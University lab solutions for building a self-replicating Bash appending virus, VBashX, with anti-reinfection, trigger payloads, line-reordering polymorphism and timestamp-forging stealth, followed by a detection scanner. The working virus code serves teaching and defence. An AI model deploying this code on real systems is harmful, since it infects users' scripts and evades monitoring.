University of Perpignan
C. Legrand

L3 Computer Science
Year 2026

Lab Work 4 – Computer Security – Solutions
VBashX Project – Appending Virus in Bash

Ethical and Legal Disclaimer

The techniques presented in this lab work are studied within a **strictly academic context** in order to understand the mechanisms used by malicious software and thus be better able to defend against them.
Any use of these techniques outside the educational context is illegal and punishable by criminal penalties (Chapter III of the French Penal Code, Articles 323-1 to 323-8 – *Offences against Automated Data Processing Systems*):

- Unauthorized access to or remaining in an ADPS (Art. 323-1): **3 years** imprisonment and **€100,000** fine
- Obstructing the operation of an ADPS (Art. 323-2): **5 years** imprisonment and **€150,000** fine
- Fraudulent introduction of data into an ADPS (Art. 323-3): **5 years** imprisonment and **€150,000** fine

Penalties increased to **7 years** and **€300,000** when the targeted system processes personal data operated by the State, and up to **10 years** and **€300,000** for organized crime (Art. 323-4-1). *Penalties updated by the LOPMI law no. 2023-22 of January 24, 2023.*

In this project-based lab work, you will build **step by step** an appending virus in Bash, named **VBashX**. Each phase adds a feature to the previous phase's virus, revisiting and completing concepts from the lectures (vbashp, anti-reinfection, polymorphism by line reordering, conditional payload).

Prerequisites: Lab Work 3 (Bash scripts, overwriting virus, substitution cipher).

Working method: For each phase, proceed as follows:

- Create a dedicated test directory for the phase (e.g., `test_phase1/`).
- Copy your virus and target files (`cible1.sh`, `cible2.sh`) into it.
- Execute the virus and analyze the results **before** moving to the next phase.
- **Never** work directly in your development directory.

Test target files:

```bash
#!/bin/bash
echo "I am target program 1"
echo "Running normally..."
```

cible1.sh

```bash
#!/bin/bash
echo "I am target program 2"
echo "Everything is fine."
```

cible2.sh

Exercise 1 (VBashX Project).

Phase 1 – Simple Appending Virus

Course Reminder

Appending virus:
Unlike the overwriting virus (Lab Work 3) which destroys the host program, the appending virus **adds** its code to the end of the target file. The original program remains functional.

Text diagram:

```
BEFORE infection:                AFTER infection:
+---------------------+         +---------------------+
| Host program        |         | Host program        |
| (original code)     |         | (original code)     |
| N lines             |         | N lines             |
+---------------------+         +---------------------+
                                 | Virus code          |
                                 | (appended at end)   |
                                 | VIRUS_SIZE lines    |
                                 +---------------------+

The host program executes first, then the viral code.
```

Key commands:

- `tail -n K $0`: extracts the last `K` lines of the currently running script (viral code self-extraction)
- `» file`: appends to file (without overwriting)
- `basename $0`: script name without path

1a) Write a script `vbashx.sh` that, for each `.sh` file in the current directory (other than itself), appends its own last `VIRUS_SIZE` lines to the end of the target file. Hint: use `tail -n $VIRUS_SIZE "$0" » "$f"`.

1b) Test: create `cible1.sh` and `cible2.sh` (simple `echo` scripts). Execute the virus, then the targets. Does the host code still execute?

1c) Execute an infected file. What happens? Why?

Answer 1. ***1a)*** *The following script implements a simple appending virus:*

```bash
#!/bin/bash
echo "I am the host program"
# --- VBashX Phase 1 ---
VIRUS_SIZE=7
for f in *.sh; do
    if [ "$(basename "$f")" != "$(basename "$0")" ]; then
        tail -n $VIRUS_SIZE "$0" >> "$f"
    fi
done
```

vbashx_phase1.sh

1b) *After executing the virus, the target files contain their original code followed by the viral code. When a target is executed, the host code runs first (the* `echo` *commands display their messages), then the viral code runs and spreads the infection to other* `.sh` *files.*

1c) *When an infected file is executed, it spreads the virus to other* `.sh` *files in the directory. This is* ***peer-to-peer propagation****: each infected file becomes an infection vector in turn.*

Warning

The virus suffers from a major problem: it ***reinfects*** *already-infected files on every execution. File sizes grow indefinitely. This problem will be solved in Phase 2.*

Key Takeaway

- `tail -n K $0` *enables* ***self-extraction*** *of the viral code from the currently running file.*
- *The » operator appends to a file without overwriting existing content.*
- *The viral code executes* ***after*** *the host code: the original program remains functional.*
- *The value of* `VIRUS_SIZE` *must* ***exactly*** *match the number of lines of the viral code (from the start comment to the final* `done`*).*

Phase 2 – Preventing Reinfection

Course Reminder

Reinfection and anti-reinfection strategies:
Reinfection occurs when a virus infects an already-infected file. This causes indefinite file size growth, which is an easily detectable **Indicator of Compromise** (IoC).

Three main strategies:

Strategy	Principle	Characteristic
By marker	Insert a unique signature in the viral code; check for its presence before infection	Discriminating (the signature is detectable by antivirus)
By tail comparison	Compare the last lines of the target with those of the virus	Non-discriminating but fragile to polymorphism
By test execution	Execute the last lines with a test argument and analyze the output	Non-incriminating but more complex

2a) **Marker strategy:** Modify the virus to insert a signature (e.g., `VBX_7k9Pz`) in the viral code. Before infecting a file, check with `grep` whether the signature is already present. Hint: `[ -z "$(grep "VBX_7k9Pz" "$f")" ]`.

2b) **Tail comparison strategy:** Implement an alternative that compares the last `VIRUS_SIZE` lines of the target with those of the virus. Use `echo -n $(tail -n ...)` to normalize line endings.

2c) **Test execution strategy:** Explain the principle (without implementing): extract the last lines of the file, execute them with a special argument (e.g., `-vbx-test`), analyze the output. What are the advantages and disadvantages?

2d) Fill in a comparative table of the 3 strategies according to the criteria: reliability, stealth, robustness to polymorphism.

Answer 2. *2a) Virus with marker-based anti-reinfection:*

```
#!/bin/bash
echo "I am the host program"
# --- VBashX Phase 2a --- VBX_7k9Pz
MARKER="VBX_7k9Pz"
VIRUS_SIZE=10
for f in *.sh; do
    if [ "$(basename "$f")" != "$(basename "$0")" ]; then
        if [ -z "$(grep "$MARKER" "$f")" ]; then
            tail -n $VIRUS_SIZE "$0" >> "$f"
        fi
    fi
done
```

vbashx_phase2a.sh

2b) Virus with tail-comparison anti-reinfection:

```bash
#!/bin/bash
echo "I am the host program"
# --- VBashX Phase 2b ---
VIRUS_SIZE=11
MY_CODE=$(echo -n $(tail -n $VIRUS_SIZE "$0"))
for f in *.sh; do
    if [ "$(basename "$f")" != "$(basename "$0")" ]; then
        TARGET_CODE=$(echo -n $(tail -n $VIRUS_SIZE "$f"))
        if [ "$MY_CODE" != "$TARGET_CODE" ]; then
            tail -n $VIRUS_SIZE "$0" >> "$f"
        fi
    fi
done
```

vbashx_phase2b.sh

2c) Test execution strategy: *Extract the last* `VIRUS_SIZE` *lines of the target file into a temporary file, execute it with a special argument (e.g.,* `./tmp_test.sh -vbx-test`*). If the viral code is present, it detects the argument and returns a specific exit code (e.g.,* `exit 42`*).*

Advantages: Non-incriminating (no plaintext signature), works even if the viral code changes form.

Disadvantages: More complex to implement, requires executing potentially dangerous code, slower (fork + exec for each tested file).

2d) *Comparative table:*

Criterion	***Marker***	***Tail comparison***	***Test execution***
Reliability	*High*	*Medium*	*High*
Stealth	*Low (plaintext signature)*	*Medium*	*High*
Polymorphism robustness	*Yes*	*No*	*Yes*
Complexity	*Low*	*Low*	*High*

Warning

The plaintext signature (`VBX_7k9Pz`*) makes the virus vulnerable to* ***antivirus detection****: a simple* `grep` *can find all infected files. This is the price paid for the reliability of the marker strategy. We will exploit this weakness in Phase 6.*

Key Takeaway

- *Reinfection is a* ***classic flaw*** *of simple viruses, easily detectable by abnormal file size growth.*
- *The* ***marker*** *strategy (*`grep`*) is the most reliable but the least stealthy.*
- *The* ***tail comparison*** *strategy leaves no explicit signature but fails if the viral code changes form (polymorphism).*
- *The choice of anti-reinfection strategy has a direct impact on the* ***detectability*** *of the virus.*

Phase 3 – Conditional Payload

Course Reminder

Payload and triggers:
The **payload** is the malicious action performed by the virus (displaying a message, deleting files, encryption, etc.). It is typically activated by a conditional **trigger**:

- **Temporal:** activated at a specific date/time (e.g., Friday, April 1st)
- **By counter:** activated after a certain number of executions
- **Event-based:** activated by a system event (network connection, file present, etc.)

Useful commands:

- `date +%u`: day of the week (1=Monday, . . . , 5=Friday, 7=Sunday)
- `date +%d`: day of the month (01–31)
- Hidden files: a name starting with `.` (dot) is hidden from `ls`

Link with Lab Work 2: logic bombs use the same conditional trigger principle.

3a) Add a payload activated only on **Friday**. Use `date +%u` (5=Friday). The payload will be a simple `echo` (non-destructive!). Integrate this feature into the Phase 2a virus.

3b) Counter variant: use a hidden file `.vbx_count` incremented on each virus execution. The payload triggers after 3 executions.

3c) Propose a method to test the Friday trigger without waiting for Friday. Hint: explore the options of `date -d`.

Answer 3. *3a) Virus with temporal payload (Friday):*

```
#!/bin/bash
echo "I am the host program"
# --- VBashX Phase 3a --- VBX_7k9Pz
MARKER="VBX_7k9Pz"
VIRUS_SIZE=15
# Payload: triggered on Friday (day 5)
if [ "$(date +%u)" -eq 5 ]; then
    echo "[VBashX] PAYLOAD ACTIVATED - Today is Friday!"
fi
# Infection phase
for f in *.sh; do
    if [ "$(basename "$f")" != "$(basename "$0")" ]; then
        if [ -z "$(grep "$MARKER" "$f")" ]; then
            tail -n $VIRUS_SIZE "$0" >> "$f"
        fi
    fi
done
```

vbashx_phase3a.sh

3b) Virus with counter payload:

```bash
#!/bin/bash
echo "I am the host program"
# --- VBashX Phase 3b --- VBX_7k9Pz
MARKER="VBX_7k9Pz"
VIRUS_SIZE=23
COUNTER_FILE=".vbx_count"
# Increment execution counter
if [ -f "$COUNTER_FILE" ]; then
    COUNT=$(cat "$COUNTER_FILE")
    COUNT=$(($COUNT + 1))
else
    COUNT=1
fi
echo $COUNT > "$COUNTER_FILE"
# Payload: triggered after 3 executions
if [ $COUNT -ge 3 ]; then
    echo "[VBashX] PAYLOAD: Execution count reached $COUNT!"
fi
# Infection phase
for f in *.sh; do
    if [ "$(basename "$f")" != "$(basename "$0")" ]; then
        if [ -z "$(grep "$MARKER" "$f")" ]; then
            tail -n $VIRUS_SIZE "$0" >> "$f"
    fi; fi
done
```

vbashx_phase3b.sh

3c) *To test the Friday trigger without waiting, you can use* `date -d` *to simulate a date:*

```bash
# Temporarily replace in the script:
# if [ "$(date +%u)" -eq 5 ]; then
# with:
if [ "$(date -d 'next Friday' +%u)" -eq 5 ]; then
# Or define a date() function that returns a simulated date:
date() { echo "5"; }
```

You can also temporarily change the system date in a VM: `sudo date -s "next Friday"`.

Key Takeaway

- `date +%u` *returns the day of the week as a number (1=Monday, 7=Sunday).*
- *Hidden files (starting with* `.`*) allow* ***persisting state*** *between virus executions without being visible to* `ls`*.*
- *The separation between* ***infection*** *and* ***payload*** *is an important architectural principle: the virus spreads independently of the payload trigger.*

Phase 4 – Polymorphism by Line Reordering

Course Reminder

Polymorphism by line permutation:
Polymorphism ensures that each copy of the virus is different, making signature-based detection of the viral code more difficult.
In the **line reordering** approach (from lectures), the infection code is split into numbered lines (`#@1#` to `#@LI#`). With each infection, these lines are written in a different **random order**.

Structure of the polymorphic virus (in an infected file):

```
+-----------------------------------+
| Original host code                |
+-----------------------------------+
| RESTORATION code (fixed order)    |  <-- REST_SIZE lines
| - extracts tagged lines           |
| - puts them back in order         |
| - executes the restored code      |
+-----------------------------------+
| Tagged lines #@1# to #@LI#        |  <-- LI lines
| (in RANDOM order)                 |      (permuted order)
+-----------------------------------+
VIRUS_SIZE = REST_SIZE + LI
```

Permutation formula: $n_i = (r \times 3^i) \bmod 17$
The powers of 3 modulo 17 (a prime number) generate all integers from 1 to 16. With a random seed r, the iterative formula $r \leftarrow (r \times 3) \bmod 17$ produces a complete permutation.

Permutation table (seed $r = 1$):

Iteration	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16
Line n_i	3	9	10	13	5	15	11	16	14	8	7	4	12	2	6	1

Execution process of an infected file:

1. The host code executes normally
2. The **restoration** code executes:
   (a) Extracts lines `#@1#` to `#@LI#` in order
   (b) Writes them to a temporary file
   (c) Executes the temporary file
3. The temporary file (infection code in order) executes and infects targets with a **new permutation**

4a) Restoration code: Write the code (untagged, fixed order) that extracts lines `#@1#` to `#@LI#` from the current file in order, writes them to a temporary file, executes it, then calls `exit 0`. The temporary file must know the source file path (via a `SRC` variable).

Hint: `grep "#@${nb}#" "$0"` to extract line number `nb`.

4b) Tagged infection code: Write the infection code as **16 lines**, each tagged `#@n#` (the tag is a Bash comment at end of line). This code must:

- Check for reinfection using the marker
- Append the restoration code to the target (via `tail -n $VS "$SRC" | head -n $REST_S`)
- Append the 16 tagged lines in a **random order** using the formula $r \leftarrow (r \times 3) \bmod 17$ with a random initial seed: `r=$(( ($RANDOM % 16) + 1 ))`

4c) Test: infect 2 targets, compare the viral content in each. Are the tagged lines in a different order?

4d) Among the 3 strategies from Phase 2, which ones still work with polymorphism? Justify.

Answer 4. ***4a+4b)*** *The complete virus with line-reordering polymorphism:*

```
1  #!/bin/bash
2  echo "I am the host program"
3  # --- VBashX Restoration --- VBX_7k9Pz
4  REST_SIZE=11
5  LI=16
6  VIRUS_SIZE=$(($REST_SIZE + $LI))
7  TMP=".vbx_tmp.sh"
8  echo "#!/bin/bash" > $TMP
9  echo "SRC=\"$0\"" >> $TMP
10 nb=1; while [ $nb -le $LI ]; do
11 grep "#@${nb}#" "$0" >> $TMP
12 nb=$(($nb + 1)); done
13 chmod +x $TMP && ./$TMP; rm -f $TMP; exit 0
14 MARKER="VBX_7k9Pz" #@1#
15 for f in *.sh; do #@2#
16 if [ "$(basename "$f")" != "$(basename "$SRC")" ]; then #@3#
17 if [ -z "$(grep "$MARKER" "$f")" ]; then #@4#
18 REST_S=11; LI_S=16; VS=$(($REST_S + $LI_S)) #@5#
19 tail -n $VS "$SRC" | head -n $REST_S >> "$f" #@6#
20 r=$(( ($RANDOM % 16) + 1 )) #@7#
21 n=1 #@8#
22 while [ $n -le $LI_S ]; do #@9#
23 grep "#@${r}#" "$SRC" >> "$f" #@10#
24 r=$(( ($r * 3) % 17 )) #@11#
25 n=$(($n + 1)) #@12#
26 done #@13#
27 fi #@14#
28 fi #@15#
29 done #@16#
```

vbashx_phase4.sh

Code explanation:

- ***Lines 3–13*** *(restoration code, untagged): extracts the 16 tagged lines in order (1, 2, . . . , 16), writes them to* `.vbx_tmp.sh` *with the source path, executes this file, then terminates with* `exit 0`*.*
- ***Lines 14–29*** *(infection code, tagged* `#@1#` *to* `#@16#`*): these lines are in arbitrary order in the file but the restoration code puts them back in order before execution. They check*

for reinfection, copy the restoration code to the target, then append the tagged lines in a random order using the formula $r \leftarrow (r \times 3) \bmod 17$.

4c) *Comparing two infected files, we see that the tagged lines are in a* ***different order*** *(the random seed* `$RANDOM` *differs with each execution). The restoration code, however, is* ***identical*** *in all infected files.*

4d) *Compatibility of anti-reinfection strategies with polymorphism:*

Strategy	***Compatible?***	***Reason***
By marker	✓ *Yes*	*The signature is in the tagged lines, it is always present*
By tail comparison	× *No*	*The last lines change order with each infection*
By test execution	✓ *Yes*	*The restored code always produces the same behavior*

Warning

Carefully count `VIRUS_SIZE = REST_SIZE + LI`*. The restoration code is* ***not*** *tagged (it stays in fixed order), only the infection code is. The* `SRC` *variable in the temporary file contains the path to the source infected file, allowing the infection code to access the tagged lines.*

Key Takeaway

- *The restoration code remains* ***identical*** *in all infected files: it is an* ***invariant*** *exploitable by an antivirus (see Phase 6).*
- *Polymorphism by reordering prevents detection by* ***code comparison*** *but not by* ***decryptor/restorer signature****.*
- *The formula* $r \leftarrow (r \times 3) \bmod 17$ *is a* ***permutation generator*** *because 3 is a primitive root modulo 17 (a prime number). It generates all 16 values from 1 to 16 without repetition.*
- *The tags* `#@n#` *are valid Bash comments: the code works even if the tags are not removed.*

Phase 5 – Stealth

Course Reminder

Stealth techniques:
A stealth virus seeks to conceal traces of its activity:

- **Timestamp preservation:** modifying a file changes its last modification date (`mtime`). An administrator monitoring dates could detect the infection.
- **Temporary file cleanup:** `.vbx_tmp.sh` files left by the virus are evidence.
- **Error suppression:** error messages on `stderr` can alert the user.

Key commands:

- `cp -p file copy`: copy preserving attributes (timestamps, permissions)
- `touch -r reference file`: apply timestamps from `reference` to `file`
- `trap "commands" EXIT`: execute `commands` on script exit (even on Ctrl+C interruption)
- `2>/dev/null`: redirect `stderr` to `/dev/null` (suppress errors)

5a) Timestamp preservation: Before infecting a file, save a reference copy with `cp -p "$f" ".vbx_ref_$$"`, then restore timestamps after infection with `touch -r ".vbx_ref_$$" "$f"`.

5b) Temporary file cleanup: Use `trap "rm -f $TMP .vbx_ref_*" EXIT` in the restoration code to guarantee cleanup even on interruption.

5c) Error suppression: Add `2>/dev/null` to critical commands (`grep`, `tail`, `cp`). What errors does this hide?

Answer 5. *The complete Phase 5 virus integrates all 3 stealth techniques into the Phase 4 code:*

```
#!/bin/bash
echo "I am the host program"
# --- VBashX Phase 5 --- VBX_7k9Pz
REST_SIZE=13
LI=16
VIRUS_SIZE=$(($REST_SIZE + $LI))
TMP=".vbx_tmp.sh"
trap "rm -f $TMP .vbx_ref_*" EXIT
echo "#!/bin/bash" > $TMP
echo "SRC=\"$0\"" >> $TMP
nb=1; while [ $nb -le $LI ]; do
grep "#@${nb}#" "$0" >> $TMP
nb=$(($nb + 1)); done
chmod +x $TMP && ./$TMP
exit 0
MARKER="VBX_7k9Pz" #@1#
for f in *.sh; do #@2#
if [ "$(basename "$f")" != "$(basename "$SRC")" ]; then #@3#
if [ -z "$(grep "$MARKER" "$f" 2>/dev/null)" ]; then #@4#
```

```
20 cp -p "$f" ".vbx_ref_$$" 2>/dev/null #@5#
21 REST_S=13; LI_S=16; VS=$(($REST_S + $LI_S)) #@6#
22 tail -n $VS "$SRC" | head -n $REST_S >> "$f" 2>/dev/null #@7#
23 r=$(( ($RANDOM % 16) + 1 )) #@8#
24 n=1 #@9#
25 while [ $n -le $LI_S ]; do #@10#
26 grep "#@${r}#" "$SRC" >> "$f" 2>/dev/null #@11#
27 r=$(( ($r * 3) % 17 )) #@12#
28 n=$(($n + 1)); done #@13#
29 touch -r ".vbx_ref_$$" "$f" 2>/dev/null #@14#
30 rm -f ".vbx_ref_$$" 2>/dev/null #@15#
31 fi; fi; done #@16#
```

vbashx_phase5.sh

Changes from Phase 4:

- ***Line 8:*** *`trap` for automatic cleanup on exit (5b)*
- ***Tagged lines #@4#, #@5#, #@7#, #@11#:*** *added `2>/dev/null` to suppress errors (5c)*
- ***Line #@5#:*** *`cp -p` to save the original file's attributes (5a)*
- ***Line #@14#:*** *`touch -r` to restore timestamps after infection (5a)*
- ***Line #@15#:*** *cleanup of the reference file after timestamp restoration*

5c) *The `2>/dev/null` hides the following errors:*

- *`grep`: error if the file does not exist or is not readable*
- *`cp/tail`: error on insufficient permissions*
- *`touch`: error if the reference file has been deleted*

Key Takeaway

- ***Temporal stealth*** *(`touch -r`) prevents detection by modification date comparison.*
- *`trap ... EXIT` is good practice even outside a viral context: it guarantees cleanup of temporary files on interruption (`Ctrl+C`, fatal error).*
- *`2>/dev/null` makes the virus silent but also prevents debugging. It is a stealth/-maintainability trade-off.*
- *`REST_SIZE` increases from 11 to 13 because the restoration code now includes the `trap`.*

Phase 6 – Analysis and Detection

Course Reminder

Analysis methodology – Indicators of Compromise (IoC):
An **Indicator of Compromise** (IoC) is an observable artifact that signals an infection. Detection types:

- **By signature** (pattern matching): searching for known strings (markers, variable names)
- **Heuristic**: detecting suspicious patterns (e.g., a script that copies itself)
- **Behavioral**: analyzing runtime behavior (e.g., a script that modifies other scripts)

Useful `grep` commands for analysis:

- `grep -q "pattern" file`: silent mode, only returns exit code (0 if found)
- `grep -l "pattern" *.sh`: lists files containing the pattern
- `grep -c "pattern" file`: counts occurrences

6a) Scanner: Write a script `scanner.sh` that scans `.sh` files in a directory (passed as argument or `.` by default) and detects the following IoCs:

- Marker signature: `VBX_7k9Pz`
- Tagged line markers: `#@n#`
- Behavioral self-replication pattern: `tail.*$0.*»`
- Restoration pattern: `grep.*#@`

Display detected IoCs for each file, then a summary (infected/clean).

6b) IoC table: For each phase (1–5), identify the technique used and the corresponding detectable IoC.

6c) Reflection: Does polymorphism by reordering make detection impossible? What invariant remains exploitable? Which type of detection (syntactic, behavioral, heuristic) would be most effective?

Answer 6. ***6a)*** *Detection scanner:*

```
#!/bin/bash
# VBashX Scanner - Detection of infected files
echo "=== VBashX Scanner ==="
DIR="${1:-.}"
echo "Scanning directory: $DIR"
echo ""
INFECTED=0
CLEAN=0

for f in "$DIR"/*.sh; do
    [ -f "$f" ] || continue
    INDICATORS=""
    # IoC 1: Marker signature
```

```
    if grep -q "VBX_7k9Pz" "$f" 2>/dev/null; then
        INDICATORS="$INDICATORS [MARKER:VBX_7k9Pz]"
    fi
    # IoC 2: Tagged lines (polymorphism)
    if grep -q "#@[0-9]*#" "$f" 2>/dev/null; then
        INDICATORS="$INDICATORS [TAGGED_LINES]"
    fi
    # IoC 3: Behavioral pattern (tail...$0..>>)
    if grep -q 'tail.*\$0.*>>' "$f" 2>/dev/null; then
        INDICATORS="$INDICATORS [TAIL_APPEND]"
    fi
    # IoC 4: Restoration pattern (grep for tags)
    if grep -q 'grep.*#@' "$f" 2>/dev/null; then
        INDICATORS="$INDICATORS [RESTORATION]"
    fi
    if [ -n "$INDICATORS" ]; then
        echo "[INFECTED] $(basename "$f"):$INDICATORS"
        INFECTED=$(($INFECTED + 1))
    else
        echo "[CLEAN]    $(basename "$f")"
        CLEAN=$(($CLEAN + 1))
    fi
done

echo ""
echo "=== Results ==="
echo "Infected: $INFECTED"
echo "Clean:    $CLEAN"
echo "Total:    $(($INFECTED + $CLEAN))"
```

scanner.sh

6b) *IoC table by phase:*

Phase	***Technique***	***Detectable IoC***	***Detection***
1	*Simple appending*	`tail .* $0 .* »`	*Heuristic*
2a	*Marker*	*Signature* `VBX_7k9Pz`	*Signature*
2b	*Tail comparison*	`tail .* $0 .* »`	*Heuristic*
3	*Payload*	`date +%u`, `.vbx_count`	*Heuristic*
4	*Polymorphism*	*Restoration code,* `#@n#`	*Restorer signature*
5	*Stealth*	`touch -r`, `trap`	*Heuristic*

6c) *Polymorphism by reordering does* ***not*** *make detection impossible:*

- *The* ***exploitable invariant*** *is the restoration code: it remains identical in all infected files (it extracts tagged lines in order via* `grep "#@${nb}#"`*).*
- ***Behavioral detection*** *is the most effective because it detects the virus's intent (pattern* `tail .* $0 .* »`*) rather than its exact form. Even if the code changes order, the self-replication behavior remains identical.*
- *Detection* ***by restorer signature*** *works well: the code* `grep "#@${nb}#" "$0"` *is a very specific pattern unlikely to appear in a legitimate script.*
- *To defeat this detection, one would need* ***polymorphism of the restorer itself*** *(metamorphism), which is much more complex.*

Warning

The scanner itself contains some patterns it searches for (such as `VBX_7k9Pz`). It could therefore detect itself as infected! In practice, one would exclude the scanner from the analysis, or use compiled patterns (regex) rather than literal strings.

Key Takeaway

- *The restoration code is the* ***detectable invariant*** *of the polymorphic virus. It is the analogue of the decryptor in an encrypted virus.*
- ***Behavioral detection*** *(pattern `tail .* $0 .* »`) is the most robust because it detects the* ***intent*** *(self-replication) rather than the code's form.*
- *A good scanner combines multiple IoC types to reduce false positives and false negatives.*
- *The race between viruses and antivirus is a* ***cat and mouse game****: each concealment technique calls for a new detection technique, and vice versa.*